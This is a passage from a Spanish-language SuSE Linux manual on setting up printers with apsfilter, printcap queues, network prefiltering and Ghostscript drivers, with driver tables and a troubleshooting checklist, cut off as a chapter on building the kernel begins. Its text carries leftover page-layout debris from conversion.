raw ~ Para imprimir ficheros que ya tienen el formato específico de la im- presora: no habrá ninguna conversión. Es posible definir impresoras locales adicionales. Los nombres de las colas ll- evarían entonces el nombre del correspondiente ''driver'' de Ghostscript como distintivo; con el ''driver'' djet500 sería djet500-ascii , djet500-raw , etc. Ficheros- ASCII: En el fichero /etc/apsfilterrc está previsto realizar el filtrado_del_siguiente_modo:_________________ 5 p. ej.cuando existen diéresis en el texto. 332 ____________________________________________________________________12.3.__Filtros_de_impresión_~_el_''apsfilter''__________* *______________________ o convertir ficheros-ASCII con a2ps a PostScript; o Formato de a2ps : Imprimir el contenido de 2 páginas en ASCII a una sola página apaisada. Si se modifica la variable FEATURE es posible variar el formato de impre- sión. Los valores que figuran en los comentarios de /etc/apsfilterrc son válidos. Para suprimir por completo la conversión a PostScript e imprimir directamente en el modo ASCII de la impresora, se debe quitar el símbolo de comentario # al comienzo del comando USE_RECODE_NOT_A2PS=yes y por supuesto, tener el paquete recode, serie ap instalado. apsfilter: Configuración Se puede configurar el apsfilter con YaST o con el script SETUP (lprsetup ) a base de menús. _______________________________________________________________________________________________________________________|| |||||||| La configuración solo trabaja correctamente cuando no se modifican las ||| | |||||||| || | |||||||| indicaciones dadas como comentario al comienzo y al final de las entradas || | |||||||| para el apsfilter en el fichero /etc/printcap (ver fichero 12.3.2 en la || | |||||||| || | |||||||| página siguiente). || | ||||||||_______________________________________________________________________________________________________________||_ Configuración con YaST Configurar la impresora con YaST representa la vía normal para la primera instalación. Si ya hay una configuración del apsfilter , YaST pregunta al comienzo si la nueva configuración debe reemplazar a la antigua o si se debe añadir. El proceso que se lleva a cabo después ya fue explicado en el apartado 3.7.1 en la página 103Configurar impresorassubsection.3.7.1. Cuando se instala la nueva configuración, se llevan a cabo los siguientes pasos (da igual si se ha usado YaST o lprsetup para realizarla): o Definición de la nuevas colas de impresión en /etc/printcap (ver en la página anterior). o Generación de los directorios ''spool'' para las colas en /var/spool/ lpd/. o Generación de los filtros correspondientes en /var/lib/apsfilter/ bin/ (se generan enlaces simbólicos al fichero /var/lib/apsfilter/ apsfilter). o Generación del fichero global de configuración /etc/apsfilterrc (si este aún no existe) y de un fichero de configuración específico de la im- presora /etc/apsfilterrc. . La variable representa el nombre de impresora en Ghostscript, p. ej. bjc800 como en el ejemplo dado. El fichero 12.3.2 en la página siguiente, muestra un ejemplo para las nuevas entradas de una cola de impresión para la Canon BubbleJet 800. El contenido de las tres entradas es completamente igual, por lo tanto se han abreviado un poco. Definen el dispositivo (lp= ), el directorio ''spool'' (sd= ), el fichero de registro (ingl. Log-file) (lf= ), el fichero de liquidación (af= ) y * * 333 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ | * * | ________________________________________________________________________________________________________* *________|||| | ### BEGIN apsfilter: ### bjc800 a4 mono 360 ### * * | ||# Warning: Configured for apsfilter, do not edit the labels! * * || | # apsfilter setup Thu Sep 18 11:40:40 MEST 1997 * * | | # * * | | ascii|lp1|bjc800-a4-ascii-mono-360|bjc800 a4 ascii mono 360:\ * * | | * * | | :lp=/dev/lp0:\ * * | | :sd=/var/spool/lpd/bjc800-a4-ascii-mono-360:\ * * | | * * | | :lf=/var/spool/lpd/bjc800-a4-ascii-mono-360/log:\ * * | | :af=/var/spool/lpd/bjc800-a4-ascii-mono-360/acct:\ * * | | * * | | :if=/var/lib/apsfilter/bin/bjc800-a4-ascii-mono-360:\ * * | | :la@:mx#0:\ * * | | :sh:sf: * * | | * * | | # * * | | lp|lp2|bjc800-a4-auto-mono-360|bjc800 a4 auto mono 360:\ * * | | * * | | # [ ... abreviado ... ] * * | | # * * | | * * | | raw|lp3|bjc800-a4-raw|bjc800 a4 raw:\ * * | | # [ ... abreviado ... ] * * | | * * | | # * * | | # * * | | * * | | ### END apsfilter: ### bjc800 a4 mono 360 ### * * | |_______________________________________________________________________________________________________* *________ | Fichero 12.3.2: Colas de apsfilter en /etc/printcap el filtro estándar (if= ). Se suprime la portada al principio (sh ) y la página separadora (sf ) (ingl. formfeed) al final de la tarea. Configuración con SETUP (lprsetup ) El paquete aps contiene el programa de configuración SETUP /var/lib/ apsfilter/SETUP, que se puede iniciar fácilmente con lprsetup . Ofrece los siguientes servicios: o Listado de todas las impresoras configuradas con apsfilter o Añadir y quitar impresoras configuradas con apsfilter A la hora de añadir impresoras locales el comando lprsetup , hace (casi) lo mismo que YaST . lprsetup también es capaz de generar y borrar co- las de impresión en máquinas remotas (''cola de impresión remota'', ver el fichero 12.2.2 en la página 330/etc/printcap : Configuración de las colasHfootnote.56) y puede efectuar un ''pre-filtrado'' para impresoras de red. lprsetup funciona a base de menús y su uso ~ después de haberse acostum- brado ~ es cómodo y fácil. 1. Ejecutar lprsetup : tierra: # lprsetup Si se trabaja con el sistema X Window en una xterm y se tiene proble- mas para reconocer las letras (p. ej. por tener amarillo sobre gris claro), se puede iniciar lprsetup en una consola de texto. Aparecerá una pan- talla de bienvenida que explica_el_proceso de la definición de impresoras nuevas con apsfilter . Con |_____-|pasamos al menú principal: 334 ____________________________________________________________________12.3.__Filtros_de_impresión_~_el_''apsfilter''___________* *_____________________ EXIT Exit apsfilter setup LISTING List all apsfilter entries ENTRY Add/Overwrite/Delete an apsfilter entry DELETE Fast delete an apsfilter entry Para seleccionar uno_de_los campos con las respuestas `OK' o `Cancel' _ se usa la tecla |T____a|b; para pasar por las opciones en las listas se usa |#_ |y ||_|_". `EXIT' ~ Finalizar lprsetup . `LISTING' ~ Listado de todas las colas existentes. `ENTRY' ~ Una impresora nueva se añade con la opción de menú `EN- TRY'. Esta conduce al sub-menú `Choose your printer defini- tion' para la definición de la impresora. `DELETE' ~ Para borrar una impresora del apsfilter se pulsa `DELETE' y de este modo se obtiene una lista con todas las impresoras apsfilter disponibles. 2. Seleccionar `ENTRY'; aparecerán las mismas preguntas que en la con- figuración con YaST . La primera es sobre el `DEVICE' (interfaz) ; para una impresora local en el puerto paralelo se responde a esta pregunta con /dev/lp0, si es que trabaja con un kernel 2.2.xx. 3. A continuación aparece lo siguiente: RETURN Back to previous menu DEVICE Change printer interface PRINTER Which printer driver PAPER Which paper type COLOR Monochrome/colorfull SPECIAL Settings for your printer RESET Reset the printer definition ADD Add the printer definition OVERWRITE Overwrite the printer definition DELETE Delete the printer definition `DEVICE' ~ Esta opción ya ha sido mencionada. `PRINTER' ~ Aquí se selecciona la denominación correcta de Ghostscript, lo cual se realiza en dos pasos: (a) Primero se selecciona el tipo de impresora entre: o `PostScript' o `HEWLETT-PACKARD' (HP Deskjets) o `OTHER' (otros, sin capacidad de PostScript) o `FREEDEF' (definición libre) (b) Para el caso de impresoras que son realmente PostScript solo hace falta indicar la resolución en un cuadro de diálogo. En los demás ca- sos, aparecerá bajo la opción `COMMIT', la lista de todos los drivers posibles de Ghostscript. Antes de decidirse por un driver determi- nado, se puede consultar el apartado 12.6 en la página 340Listado de las impresoras soportadassection.12.6. Después de esta selección vendrá la pregunta sobre la resolución de la impresora. Con `RE- TURN' se puede volver al nivel superior del menú. * * 335 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ `PAPER' ~ El formato de papel. `COLOR' ~ Impresión en color o blanco y negro. `SPECIAL' ~ Estas indicaciones generalmente no se necesitan. 4. Se encuentra otra vez en el menú `Choose your printer defini- tion'. En caso de haberse equivocado con alguna definición se puede volver a los distintos sub-menús y corregirlo. 5. Importante: Pulsando `ADD' la definición de la impresora finalmente se activa. Lea p. ej. con less 6 el fichero /etc/printcap para identificar el nombre de la nueva cola de impresión. Cada cola de impresión tiene varios nombres: hay algunos explícitos que permiten reconocer la definición de impresora y otros cortos por razones de comodidad (ver fichero 12.3.2 en la página 334Config- uración con YaST Hfootnote.59). Aparte de esto lp , lp-mono , ascii y raw son las colas de la primera impresora local. Los ficheros de configuración apsfilterrc Los ficheros /etc/apsfilterrc* ofrecen la posibilidad de controlar con más exactitud determinados detalles del trabajo de los scripts del apsfilter , usando variables de la shell. Durante la instalación se generan por defecto los siguientes: o un fichero global /etc/apsfilterrc , o ficheros específicos de impresora /etc/apsfilterrc. en las que indica el nombre del ''driver'' de Ghostscript (p. ej. para el Canon BubbleJet 800: /etc/apsfilterrc.bjc800 ). ________________________________________________________________________________________________________* *________|| | Los ficheros instalados por defecto incluyen entradas de ejemplo para to- * * |||| | * * ||| | das las variables. El fichero global /etc/apsfilterrc contiene explica- * * ||| | ciones concretas sobre todas las variables; se recomienda mirarlo ;-) * * ||| |_______________________________________________________________________________________________________* *________|||_ Las variables contenidas en los ficheros de impresoras son las mismas que las del fichero global /etc/apsfilterrc , y para facilitar su identificación están enumeradas. Para cada tarea de impresión, apsfilter lee primero el fichero de configuración global y después el específico de la impresora, por lo que las definiciones del último fichero son las decisivas. De este modo, existe la posibilidad de hacer definiciones estándar en /etc/apsfilterrc (p. ej. para la resolución de impresión) y reemplazarlas con valores especiales para determinadas im- presoras. Las modificaciones en los ficheros apsfilterrc se activan de in- mediato. No se quiere reflejar aquí todo el fichero /etc/apsfilterrc , pero se pre- sentan las variables de uso más frecuente: _____________________________________________6 El uso de less se explica en el apartado 19.7.3 en la página 474El contenido de los ficherossubsection.19.7.3. 336 __________________________________________________________________________12.4.__Impresoras_de_red_con_apsfilter____________* *______________________ o FEATURE y USE_RECODE_NOT_A2PS determinan cómo filtrar ficheros ASCII (ya se explicó en la en la página 332Las colas de impresión de apsfilterHfootnote.58). o REMOTE_PRINTER se necesita para pre-filtrar las tareas de impresión en la red. Si la variable está en true , las tareas de la cola local se pasan a la cola especial remote después de haber pasado por el filtro. Si se anota un valor diferente a true , éste se interpreta como el nombre de la impresora remota (ver apartado 12.4). o PRINT_RAW_SETUP_PRINTER está pensado para una secuencia con ''Es- cape'' para la inicialización de la impresora en la cola raw . El contenido de la secuencia se manda a la impresora antes de cualquier tarea de im- presión del tipo raw . /etc/apsfilterrc contiene un ejemplo y expli- caciones sobre la sintaxis. o GS_RESOL permite usar el filtro Ghostscript con una resolución diferente a la inicialmente prevista para la impresora. o DO_ACCOUNTING debe tener el valor yes para que se genere un fichero de ''accounting''. A su vez, el fichero /etc/printcap debe tener la entrada :la@: en lugar de :la: (así se genera correctamente el fichero indicado bajo af (ingl. accounting file)). Para utilizar esta característica se debe emplear plp , así que se debe cambiar el paquete lrpold por el paquete plpn. Configuración personalizada: La versión de apsfilter de SuSE Linux acepta también un fichero ~/.apsfilterrc personal en el directorio de usuario. Este es analizado después de los ficheros globales apsfilterrc y por lo tanto se pueden suprimir los ajustes globales. Por razones de seguridad ~ el fichero se evalúa con los derechos del daemon de impresión que está en ejecu- ción ~ solo se tienen en cuenta aquellas instrucciones que implican un cambio de valor a las siguientes variables: TEXINPUTS , PRINT_DVI , GS_FEATURES , USE_RECODE_NOT_A2PS , FEATURE , A2PS_OPTS , DVIPS_MODE , GS_RESOL 7 . Las demás instrucciones se ignoran. Si realmente se necesita un fichero de configuración personal HOME/.apsfilterrc , se debe copiar uno de los ficheros apsfilterrc (que valen para todo el sis- tema) al directorio personal y modificarlo según necesidad. 12.4 Impresoras de red con apsfilter El sistema ''spooling'' BSD considera una impresora de red (con tarjeta de red propia) como un host remoto con colas de impresión propias (los nombres figuran en el manual de la impresora, frecuentemente es LPT1 , etc.). De este modo es posible acceder a ella a través de una cola de impresión remota, p. ej. con remote , desde la computadora local. Se presenta una cierta complicación a la hora de filtrar las tareas de impresión ya que el daemon de impresión lpd (paquete lprold) nunca hace un pre- filtrado para colas remotas y además ignora las indicaciones sobre filtros en el fichero /etc/printcap. Por lo tanto, las tareas para la cola remote ya deben incluir_datos_específicos_de_la_impresora.__Esto_se_consigue_mediante 7 Ver la variable allowed en /var/lib/apsfilter/apsfilter. * * 337 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ un ''pre-filtrado'' usando la característica ''bypass'' de la versión de SuSE del apsfilter . Si se desea usar YaST para la configuración, se tiene que intervenir manual- mente, por lo cual es preferible usar lprsetup para mayor comodidad. En tal caso, se inicia lprsetup como se ha explicado en el apartado 12.3 en la pági- na 334Configuración con SETUP (lprsetup )Hfootnote.59 y a continuación vendrá la pregunta sobre el `DEVICE' (ver en la página 335Configuración con SETUP (lprsetup )Item.201): PARALLEL Parallel printer interface SERIAL Serial printer interface PREFILTER to an other queue (bypass) REMOTE printer forwarding queue 1. Se debe configurar primero con `REMOTE' una cola que se refiera al servi- dor remoto (ingl. remote host). Vendrá luego la pregunta sobre el host (servidor) al cual está conectada la impresora (en este ejemplo sol) y por la cola de impresión remota (ingl. remote printer) (generalmente es lp , no obstante, en caso de duda lo mejor es consultar al administrador de red). Con esto se finaliza la definición de la cola remota pero hay que estable- cerla realmente con `ADD'. . . La entrada en /etc/printcap se parece en este momento a la del fichero 12.4.1. ________________________________________________________________________________________________________* *________|| | remote|lp1|sol-lp|sol lp:\ * * | | :lp=:\ * * | | * * | | :rm=sol:\ * * | | :rp=lp:\ * * | | * * | | :sd=/var/spool/lpd/sol-lp:\ * * | | :lf=/var/spool/lpd/sol-lp/log:\ * * | | * * | | :af=/var/spool/lpd/sol-lp/acct:\ * * | | :ar:bk:mx#0:\ * * | | :sh: * * | |_______________________________________________________________________________________________________* *________ | Fichero 12.4.1: /etc/printcap : Impresora de red 2. Ahora le toca el turno al ''pre-filtrado local''. Cuando venga la pregunta por el `DEVICE', se debe seleccionar `PREFILTER' (ingl. to an other queue (bypass)). lprsetup es ahora lo suficientemente listo como para ofrecerle la impresora de red que se acaba de configurar: remote remote=sol queue=lp El resto de la configuración es equivalente a la de una impresora local (ver en la página 335Configuración con SETUP (lprsetup )Item.202). Cuan- do finalmente se pulse `ADD', se encontrará aparte de /etc/apsfilterrc (ver el fichero 12.3.2 en la página 334Configuración con YaST Hfootnote.59) un fichero adicional denominado /etc/apsfilterrc. con la siguiente entrada: REMOTE_PRINTER="remote" 338 ________________________________________________________________________________________________________12.5.__Ghostscript__* *______________________ Esta entrada hace referencia a la impresora de red. Cuando hay varias impresoras de red, se usan los nombres con los que éstas se identifican en la red, en lugar de "remote" 8 . La figura|12.1|representa|gráficamente una configuración semejante. || _______________________________________________________________________________________________________________________|||| |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Figura 12.1: Impresora de red vía bypass 12.5 Ghostscript Si no se dispone de una impresora que funcione con PostScript, Ghostscript es el programa más popular para hacer de filtro de impresión. Este recibe como entrada ficheros en PostScript y, para su conversión a un formato es- pecífico apto para la impresora, contiene una multitud de drivers. Ghostscript es un programa complejo con muchas opciones para la línea de comandos y se explica en la página del manual de gs (man gs ). Si se ejecuta Ghostscript sin ninguna opción, aparecerá un diálogo con un prompt propio, GS> , del cual se sale con el comando quit . En este libro haría falta mucho espacio para discutir sobre todas las opciones disponibles, pero por suerte, tampoco hace falta ya que el apsfilter se encarga de construir la línea de comandos, que de no hacerlo, podría resultar bastante complicado. Solo mencionamos el siguiente comando que resulta realmente útil, tux@tierra:__>__gs__-h__|__less______________________ 8 Si se configura con YaST , se debe ''liberar'' esta entrada a mano e indicar /dev/null como dispositivo. * * 339 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ y que muestra las opciones más usadas y ~ ¡algo importante! ~ la versión actual tal como la lista de las impresoras soportadas. La última lista en el momento de imprimir este libro se presenta en el apartado 12.6. Si se presentan dificultades con la impresora se puede realizar una prueba en la que se ejecute directamente Ghostscript con un fichero PostScript (.ps) y se le envían a la impresora los datos específicos de la misma. Hay una serie de ficheros PostScript en los siguientes directorios: /usr/share/ghostscript/ /examples o /var/ lib/apsfilter/test. La llamada a Ghostscript, p. ej. para el driver de impresora necp6 con una resolución de 360 360, y la posterior impresión en la impresora /dev/lp0, se lleva a cabo con el siguiente comando: tux@tierra: > gs -q -dNOPAUSE -dSAFER -sDEVICE=necp6 \ -r360x360 -sOutputFile=FicheroTest.lpr ArchivoTest.ps quit.ps tux@tierra: > su tierra: # cat FicheroTest.lpr > /dev/lp0 Si se usa el uniprint -driver con un fichero de parámetros, el comando (para una impresora de la serie ''Stylus'') es el siguiente: tux@tierra: > gs @stc.upp -q -dNOPAUSE -dSAFER \ -r360x360 -sOutputFile=FicheroTest.lpr ArchivoTest.ps quit.ps tux@tierra: > su tierra: # cat FicheroTest.lpr > /dev/lp0 Consejo: El directorio /usr/share/ghostscript/ /doc con- tiene mucha información valiosa, como p. ej. los consejos en devices.txt que informa sobre una serie de impresoras más recientes. Para obtener información actualizada sobre Ghostscript (versiones, soporte de impresoras, etc.), consulte la Homepage de Ghostscript. El URL es http: //www.cs.wisc.edu/~ghost/. 12.6 Listado de las impresoras soportadas Aparte de las impresoras PostScript, HP DeskJet y Epson Stylus, Ghostscript soporta una serie de impresoras adicionales (versión 5.10). Lo nuevo desde la versión 5 es el ''uniprint ''-driver que se adapta a la impre- sora en cuestión junto con un fichero de parámetros específicos. Es posible seleccionar estos ficheros de parámetros con lprsetup y adap- tarlos a las necesidades particulares. Los ficheros se encuentran en /usr/share/ghostscript// con la extensión .upp y es preferible usarlos antes de hacer uno propio (ver tabla 12.1 en la pági- na 342Listado de las impresoras soportadastable.12.1). _______________________________________________________________________________________________________* *_________ Canon bjc610a0.upp BJC 610, 360x360DPI, plain paper high speed, col- or, rendered _______________________________________________________________________________________________________* *_________ Tabla 12.1: Continúa en la página siguiente ... 340 _________________________________________________________________12.6.__Listado_de_las_impresoras_soportadas___________________* *___________________ ______________________________________________________________________________________________________________________ bjc610a1.upp BJC 610, 360x360DPI, plain paper, color, rendered bjc610a2.upp BJC 610, 360x360DPI, coated paper, color, ren- dered bjc610a3.upp BJC 610, 360x360DPI, transparency film, color, rendered bjc610a4.upp BJC 610, 360x360DPI, back print film, color, ren- dered bjc610a5.upp BJC 610, 360x360DPI, fabric sheet, color, rendered bjc610a6.upp BJC 610, 360x360DPI, glossy paper, color, ren- dered bjc610a7.upp BJC 610, 360x360DPI, high gloss film, color, ren- dered bjc610a8.upp BJC 610, 360x360DPI, high resolution paper, color, rendered bjc610b1.upp BJC 610, 720x720DPI, plain paper, color, rendered bjc610b2.upp BJC 610, 720x720DPI, coated paper, color, ren- dered bjc610b3.upp BJC 610, 720x720DPI, transparency film, color, rendered bjc610b4.upp BJC 610, 720x720DPI, back print film, color, ren- dered bjc610b6.upp BJC 610, 720x720DPI, glossy paper, color, ren- dered bjc610b7.upp BJC 610, 720x720DPI, high gloss paper, color, ren- dered bjc610b8.upp BJC 610, 720x720DPI, high resolution paper, color, rendered Hewlett-Packard cdj550.upp DeskJet 550c, 300x300DpI, Gamma=2 NEC necp2x.upp Prinwriter 2X, 360x360DPI, Plain Paper necp2x6.upp Prinwriter 2X, 360x360DPI, Plain Paper Epson stc.upp Stylus Color I (and PRO Series), 360x360DPI, Plain Paper stc`h.upp Stylus Color I (and PRO Series), 720x720DPI, Spe- cial Paper stc`l.upp Stylus Color I (and PRO Series), 360x360DPI, noWeave ______________________________________________________________________________________________________________________ Tabla 12.1: Continúa en la página siguiente ... * *341 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ stc1520h.upp Stylus Color 1520, 1440x720DPI, Inkjet Paper stc2.upp Stylus Color II / IIs, 360x360DPI, Plain Paper stc2`h.upp Stylus Color II, 720x720DPI, Special Paper stc2s`h.upp Stylus Color IIs, 720x720DPI, Special Paper stc500p.upp Stylus Color 500, 360x360DPI, not Weaved, Plain Paper stc500ph.upp Stylus Color 500, 720x720DPI, not Weaved, Plain Paper stc600ih.upp Stylus Color 600, 1440x720DPI, Inkjet Paper stc600p.upp Stylus Color 600, 720x720DPI, Plain Paper stc600pl.upp Stylus Color 600, 360x360DPI, Plain Paper stc800ih.upp Stylus Color 800, 1440x720DPI, Inkjet Paper stc800p.upp Stylus Color 800, 720x720DPI, Plain Paper stc800pl.upp Stylus Color 800, 360x360DPI, Plain Paper stcany.upp Any Stylus Color, 360x360DPI _______________________________________________________________________________________________________* *_________ Tabla 12.1: Ficheros de parámetros del uniprint -driver (Ghostscript 5.10) Si no se encuentra ningún fichero de parámetros para un modelo de impresora en particular, se usa un ''driver'' de eficacia comprobada de los contenidos en la tabla 12.2 en la página 344Listado de las impresoras soportadastable.12.2. _______________________________________________________________________________________________________* *_________ Apple appledmp Apple Dot Matrix Printer (también Imagewriter) iwhi Apple Imagewriter, resolución alta iwlo Apple Imagewriter, resolución baja iwlq Apple Imagewriter, 320x216 dpi Canon bj10e BubbleJet 10e bj200 BubbleJet 200 bjc600 BubbleJet 600c, 4000c (color) bjc800 BubbleJet 800c (color) lbp8 LBP-8II lips3 LIPS III DEC declj250 LJ 250 _______________________________________________________________________________________________________* *_________ Tabla 12.2: Continúa en la página siguiente ... 342 _________________________________________________________________12.6.__Listado_de_las_impresoras_soportadas___________________* *___________________ ______________________________________________________________________________________________________________________ la50 LA50 la70 LA70 la75 LA75 la75plus LA75 Plus lj250 LJ250 ln03 LN03 Epson ap3250 AP3250 eps9high FX-80-compatible, 240 dpi eps9mid FX-80-compatible, 120 dpi epson FX-80-compatible de 9- o 24-agujas epsonc LQ-2550, Fujitsu 1200/2400/3400, color lp8000 LP-8000 impresora laser lq850 LQ-850, matricial de 24-agujas, 360dpi st800 Stylus 800, ESC/P2 stcolor Stylus Color Hewlett-Packard cdeskjet DeskJet 500C, impreso blanco y negro cdj500 DeskJet 500C, 540C cdj550 DeskJet 550C, 560C cdj670 DeskJet 670C, 690C cdj850 DeskJet 850C, 855C, 870C, 1100C cdj890 DeskJet 890C cdj1600 DeskJet 1600C cdjcolor DeskJet 500C, impreso color cdjmono DeskJet 500C, impreso blanco y negro deskjet DeskJet, DeskJet Plus djet500 DeskJet 500 djet500c DeskJet 500c djet820c DeskJet 820Cse y 820Cxi; quizá también las de la serie 1000 dnj650c DesignJet 650C hpdj DeskJet con soporte PCL-3 (Impreso en color y blanco y negro) Ghostscript-Info: hpdj/gs-hpdj.txt laserjet LaserJet ljet2p LaserJet IIp ljet3 LaserJet III ljet3d LaserJet IIID ljet4 LaserJet IV ljetplus LaserJet Plus ______________________________________________________________________________________________________________________ Tabla 12.2: Continúa en la página siguiente ... * *343 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ lj4dith LaserJet IV, dithered lj5mono LaserJet 5 & 6 (PCL XL), Bitmap lj5gray LaserJet 5 & 6, Bitmap con escala de grises lp2563 2563B LinePrinter paintjet PaintJet Impresora color pj PaintJet XL, alternativa pjetxl PaintJet 300XL pjxl PaintJet 300XL pjxl300 PaintJet 300XL, DeskJet 1200C IBM ibmpro Proprinter, 9-agujas jetp3852 Jetprinter 3852 OKI oki182 MicroLine 182 okiibm MicroLine, compatible IBM Tektronix t4693d2 4693d, Impreso en color t4693d4 4693d, Impreso en color t4693d8 4693d, Impreso en color tek4696 4695/4696 Otros hl7x0 Brother 720, 730, 820 imagen Imagen ImPress m8510 C.Itoh M8510 necp6 NEC P6, P6+, P60 bei 360 dpi oce9050 OCE 9050 r4081 Ricoh 4081, impresora laser sj48 StarJet 48 cp50 Mitsubishi CP50, impresora color xes Xerox XES (2700, 3700, 4045) _______________________________________________________________________________________________________* *_________ Tabla 12.2: Impresoras soportadas (Ghostscript 5.10) Por supuesto, todas las impresoras compatibles a la HP4 LaserJet y otras impresoras PostScript están directamente soportadas. Si se instala con apsfilter o se configura con YaST , es preciso indicar el + Acrónimo de la impresora en la columna izquierda (p. ej. djet500 ). 344 ________________________________________________________________________12.7.__Lista_de_comprobación:_apsfilter_____________* *______________________ Si la impresora en cuestión no figura en la lista, esto no descarta la posibilidad de que aún podamos usar el APS-filtro ya que muchas veces sirve el driver de un modelo anterior. En este caso, se selecciona un driver del modelo que más se le parezca. Se puede obtener ayuda adicional con el CDB (ingl. Component Database), el banco de datos de hardware recopilado por SuSE ; se encuentra en http://cdb.suse.de/. _______________________________________________________________________________________________________________________|||| |||||||| || | |||||||| En el mercado hay muchas impresoras que se venden con la etiqueta ''for || | |||||||| Windows'' o ''impresora-GDI''. Tales impresoras muchas veces no funcio- || | |||||||| || | |||||||| nan bajo Linux o con suerte con muchas restricciones. ¡Para mayor in- || | |||||||| formación consulte el CDB bajo http://cdb.suse.de/ o pregunte a su || | |||||||| || | |||||||| distribuidor! || | |||||||| || | |||||||| Para HP DeskJets de estas características existe un programa conversor || | |||||||| para la impresión en blanco y negro (paquete ppa, serie ap); respecto a la || | |||||||| || | |||||||| instalación se puede consultar la documentación en usr/doc/packages/ || | |||||||| ppa y/o en el SDB, el artículo http://sdb.suse.de/sdb/de/html/ || | |||||||| || | |||||||| ke_printer-gdi.html. En cuanto a impresoras de Lexmark (modelos || | |||||||| 5700, 7000 y 7200) sirve el paquete pbm2l7k, serie ap; la documentación || | |||||||| || | |||||||| el respecto se encuentra en /usr/doc/packages/pbm2l7k. || | ||||||||_______________________________________________________________________________________________________________||_ Un fallo frecuente es una resolución incompatible. En este caso se puede indicar la resolución correcta (o sea los dpi reales de la impresora) mediante la variable GS_RESOL en /etc/apsfilterrc (p. ej. GS_RESOL=360x360 . Ya hay allí ~ en forma de comentario ~ algunas entradas de este tipo.) 12.7 Lista de comprobación: apsfilter o ¿El paquete aps, serie ap para el apsfilter está instalado? o ¿Se ha configurado apsfilter con YaST o con /var/lib/apsfilter/ SETUP (lprsetup )? o ¿Esta instalado el paquete net_tool, paquete netcfg, paquete nkita y el paquete nkitb (todos de la serie a)? ¿Está instalado el paquete lprold de la serie n? o ¿El kernel tiene soporte TCP/IP? Se reconoce por el mensaje "IP Pro- tocols: ICMP, UDP, TCP" en /var/log/boot.msg. o ¿El soporte de puertos/interfaces paralelos está activado? ~ ~ ¿El módulo lp realmente está cargado? En el caso del kernel 2.2.xx también se precisa la carga de los módulos parport y parport_pc (ver el apartado 10.4.3 en la página 300Conexiones de puerto paralelosubsection.10.4.3). ~ Quizá la computadora tiene una BIOS del tipo ''Plug-and-Play'' y la configuración de la interfaz está en auto . En este caso, se asigna explícitamente a la interfaz una dirección de memoria (el estándar es: 0x0378 o solo 378 ). ~ Si los indicadores luminosos de la impresora solo parpadean, es posi- ble que la interfaz este configurada como ECP+EPP y la impresora no lo acepta. Pruebe con cambiar la configuración a modo normal o a SPP o ECP . * * 345 12. Impresoras _________________________________________________________________________________________________________________* *_______________________________________@ o Si la impresora no soporta la resolución estándar de 300 300 dpi, se debe comprobar si la resolución que figura en el manual de la impresora fue definida con YaST o si se encuentra en /etc/apsfilterrc . o ¿Qué resultado da lpc status ? o Probar con lpc up all . o Por lo menos la cola raw debería funcionar para todas las impresoras y permitir así la impresión de ficheros ASCII; una excepción son las impresoras GDI (ver en la página anterior). o Si las hojas se imprimen de forma apaisada, aunque esto no deba ocur- rir, se debe consultar la en la página 333Las colas de impresión de apsfilterHfootnote.59. o Cuando se use el comando lpr con la opción -P , no se debe agregar ningún espacio por delante del nombre de la impresora. o Si es posible imprimir texto ASCII a través de la cola ''raw'' (-Praw ), se puede intentar imprimir un fichero PostScript con lpr . La primera posibilidad es la de crear un fichero PostScript e imprimirlo después: tux@tierra: > a2ps -nP -1 -p /etc/hosts > /var/tmp/hosts.ps tux@tierra: > lpr /var/tmp/hosts.ps También se puede usar un fichero PostScript suministrado con Ghostscript: tux@tierra: > lpr /usr/share/ghostscript/5.10/examples/tiger.ps o Controlar los ficheros-log en /var/spool/lpd/Nombre_Driver, donde Nombre_Driver debe ser reemplazado por el driver que haya elegido. o ¿Trabaja con la interfaz de impresora correcta? (ver apartado 12.1 en la página 325Los puertos paralelossection.12.1) o ¡El kernel no debe incorporar el módulo (driver) para PLIP! (comprobar en /var/log/boot.msg) 346 Parte VI El kernel y sus parámetros 347 Capítulo 13 El kernel El kernel que se copia al disquete después de la instalación y que se encuentra también en el directorio root del sistema instalado, tiene una configuración que cubre un amplio espectro del hardware y por lo tanto no es totalmente optimizado. Sin embargo ya durante la instalación o actualización es posible seleccionar un kernel que fue optimizado en algunas aspectos (p. ej. para ar- quitectura Pentium), pero no en todos. Por eso es una ventaja ~ ¡aunque no es necesario! ~ generar un kernel propio. Además, si tiene el deseo de conocer caracteristicas o drivers ''experimentales'', es practicamente obligatorio com- pilar un kernel propio. Finalmente es la configuración de un kernel propio que permite conocer el estado del arte en el desarrollo de Linux. Ya existen Makefiles para el compilador C que permiten generar un kernel nuevo de un modo casi totalmente automatizado. Solo hace falta entrar en una utilidad de configuración y definir el hardware que el kernel debe soportar. El soporte de instalación no cubre la compilación de un kernel propio (ver apartado H.1.2 en la página 541Cobertura del soporte de instalaciónsubsection.H.1.2). _______________________________________________________________________________________________________________________|| |||||||| La siguiente descripción contempla básicamente los kernel de la serie ||| | |||||||| || | |||||||| 2.2.x. y existen muchas cosas que coinciden con los kernel de la serie || | |||||||| 2.0.x. ¡Sin embargo, en cuanto a los detalles, pueden existir pequeñas pero || | |||||||| || | |||||||| importantes diferencias! || | ||||||||_______________________________________________________________________________________________________________||_ 13.1 Las fuentes del kernel Para poder generar un kernel propio se deben instalar las fuentes del kernel (paquete lx_suse), el compilador de C (paquete gcc), los GNU Binutils (paquete binutils) y las librerías de C (Include-files) (paquete libc). Estos paquetes se encuentran en la serie serie D (Development). En todo caso es muy recomendable instalar el compilador de C ya que el lenguaje C y el sistema operativo Linux están intrínsecamente vinculados. Las fuentes del kernel se encuentran en el directorio /usr/src/linux. Si le gusta experimentar con el kernel y tener varias versiones en el disco, re- sulta bastante práctico desempaquetar las fuentes de los diferentes 